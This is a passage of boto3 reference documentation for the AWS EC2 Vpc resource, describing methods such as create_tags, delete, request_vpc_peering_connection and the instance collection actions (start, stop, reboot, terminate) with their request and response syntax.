existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = vpc.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified VPC. You must detach or delete all gateways and resources that are associated with the VPC before you can delete it. For example, you must terminate all instances running in the VPC, delete all security groups associated with the VPC (except the default one), delete all route tables associated with the VPC (except the default one), and so on. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpc) + +**Request Syntax** + +response = vpc.delete( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified VPC. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcAttribute) + +**Request Syntax** + +response = vpc.describe_attribute( + Attribute='enableDnsSupport'|'enableDnsHostnames', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The VPC attribute. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcId': 'string', + 'EnableDnsHostnames': { + 'Value': True|False + }, + 'EnableDnsSupport': { + 'Value': True|False + } +} + +**Response Structure** + +* _(dict) --_ + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **EnableDnsHostnames** _(dict) --_ + + Indicates whether the instances launched in the VPC get DNS hostnames. If this attribute is true , instances in the VPC get DNS hostnames; otherwise, they do not. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **EnableDnsSupport** _(dict) --_ + + Indicates whether DNS resolution is enabled for the VPC. If this attribute is true , the Amazon DNS server resolves DNS hostnames for your instances to their corresponding IP addresses; otherwise, it does not. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +detach_classic_link_instance(kwargs_) + +Unlinks (detaches) a linked EC2-Classic instance from a VPC. After the instance has been unlinked, the VPC security groups are no longer associated with it. An instance is automatically unlinked from a VPC when it's stopped. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachClassicLinkVpc) + +**Request Syntax** + +response = vpc.detach_classic_link_instance( + DryRun=True|False, + InstanceId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance to unlink from the VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +detach_internet_gateway(kwargs_) + +Detaches an internet gateway from a VPC, disabling connectivity between the internet and the VPC. The VPC must not contain any running instances with Elastic IP addresses or public IPv4 addresses. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachInternetGateway) + +**Request Syntax** + +response = vpc.detach_internet_gateway( + DryRun=True|False, + InternetGatewayId='string', + +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InternetGatewayId** (_string_) -- + + **[REQUIRED]** + + The ID of the internet gateway. + + +Returns + +None + +disable_classic_link(kwargs_) + +Disables ClassicLink for a VPC. You cannot disable ClassicLink for a VPC that has EC2-Classic instances linked to it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisableVpcClassicLink) + +**Request Syntax** + +response = vpc.disable_classic_link( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +enable_classic_link(kwargs_) + +Enables a VPC for ClassicLink. You can then link EC2-Classic instances to your ClassicLink-enabled VPC to allow communication over private IP addresses. You cannot enable your VPC for ClassicLink if any of your VPC route tables have existing routes for address ranges within the 10.0.0.0/8 IP address range, excluding local routes for VPCs in the 10.0.0.0/16 and 10.1.0.0/16 IP address ranges. For more information, see [ClassicLink](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/vpc-classiclink.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/EnableVpcClassicLink) + +**Request Syntax** + +response = vpc.enable_classic_link( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") to update the attributes of the Vpc resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified attribute of the specified VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyVpcAttribute) + +**Request Syntax** + +response = vpc.modify_attribute( + EnableDnsHostnames={ + 'Value': True|False + }, + EnableDnsSupport={ + 'Value': True|False + }, + +) + +Parameters + +* **EnableDnsHostnames** (_dict_) -- + + Indicates whether the instances launched in the VPC get DNS hostnames. If enabled, instances in the VPC get DNS hostnames; otherwise, they do not. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. You can only enable DNS hostnames if you've enabled DNS support. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + +* **EnableDnsSupport** (_dict_) -- + + Indicates whether the DNS resolution is supported for the VPC. If enabled, queries to the Amazon provided DNS server at the 169.254.169.253 IP address, or the reserved IP address at the base of the VPC network range "plus two" succeed. If disabled, the Amazon provided DNS service in the VPC that resolves public DNS hostnames to IP addresses is not enabled. + + You cannot modify the DNS resolution and DNS hostnames attributes in the same request. Use separate requests for each attribute. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +Returns + +None + +reload() + +Calls [EC2.Client.describe_vpcs()](#EC2.Client.describe_vpcs "EC2.Client.describe_vpcs") to update the attributes of the Vpc resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc.reload() + +Returns + +None + +request_vpc_peering_connection(kwargs_) + +Requests a VPC peering connection between two VPCs: a requester VPC that you own and an accepter VPC with which to create the connection. The accepter VPC can belong to another AWS account and can be in a different Region to the requester VPC. The requester VPC and accepter VPC cannot have overlapping CIDR blocks. + +Note + +Limitations and rules apply to a VPC peering connection. For more information, see the [limitations](https://docs.aws.amazon.com/vpc/latest/peering/vpc-peering-basics.html#vpc-peering-limitations) section in the _VPC Peering Guide_ . + +The owner of the accepter VPC must accept the peering request to activate the peering connection. The VPC peering connection request expires after 7 days, after which it cannot be accepted or rejected. + +If you create a VPC peering connection request between VPCs with overlapping CIDR blocks, the VPC peering connection has a status of failed . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateVpcPeeringConnection) + +**Request Syntax** + +vpc_peering_connection = vpc.request_vpc_peering_connection( + DryRun=True|False, + PeerOwnerId='string', + PeerVpcId='string', + PeerRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PeerOwnerId** (_string_) -- + + The AWS account ID of the owner of the accepter VPC. + + Default: Your AWS account ID + +* **PeerVpcId** (_string_) -- The ID of the VPC with which you are creating the VPC peering connection. You must specify this parameter in the request. +* **PeerRegion** (_string_) -- + + The Region code for the accepter VPC, if the accepter VPC is located in a Region other than the Region in which you make the request. + + Default: The Region in which you make the request. + +* **TagSpecifications** (_list_) -- + + The tags to assign to the peering connection. + + * _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + * **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id1173)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id1175)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + * **Tags** _(list) --_ + + The tags to apply to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +ec2.VpcPeeringConnection + +Returns + +VpcPeeringConnection resource + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +accepted_vpc_peering_connections + +A collection of VpcPeeringConnection resources.A VpcPeeringConnection Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.all() + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +filter(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection filtered by kwargs passed to method.A VpcPeeringConnection collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.filter( + DryRun=True|False, + VpcPeeringConnectionIds=[ + 'string', + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcPeeringConnectionIds** (_list_) -- + + One or more VPC peering connection IDs. + + Default: Describes all your VPC peering connections. + + * _(string) --_ +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcPeeringConnection resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +page_size(kwargs_) + +Creates an iterable of all VpcPeeringConnection resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection_iterator = vpc.accepted_vpc_peering_connections.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcPeeringConnection) + +Returns + +A list of VpcPeeringConnection resources + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = vpc.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +* **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = vpc.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + * **InstanceMonitorings** _(list) --_ + + The monitoring information. + + * _(dict) --_ + + Describes the monitoring of an instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Monitoring** _(dict) --_ + + The monitoring for the instance. + + * **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = vpc.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = vpc.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = vpc.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +* **AdditionalInfo** (_string_) -- Reserved. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StartingInstances** _(list) --_ + + Information about the started instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = vpc.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +* **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + * _(dict) --_ + + Describes an instance state change. + + * **CurrentState** _(dict) --_ + + The current state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **PreviousState** _(dict) --_ + + The previous state of the instance. + + * **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + * 0 : pending + * 16 : running + * 32 : shutting-down + * 48 : terminated + * 64 : stopping + * 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + * **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails 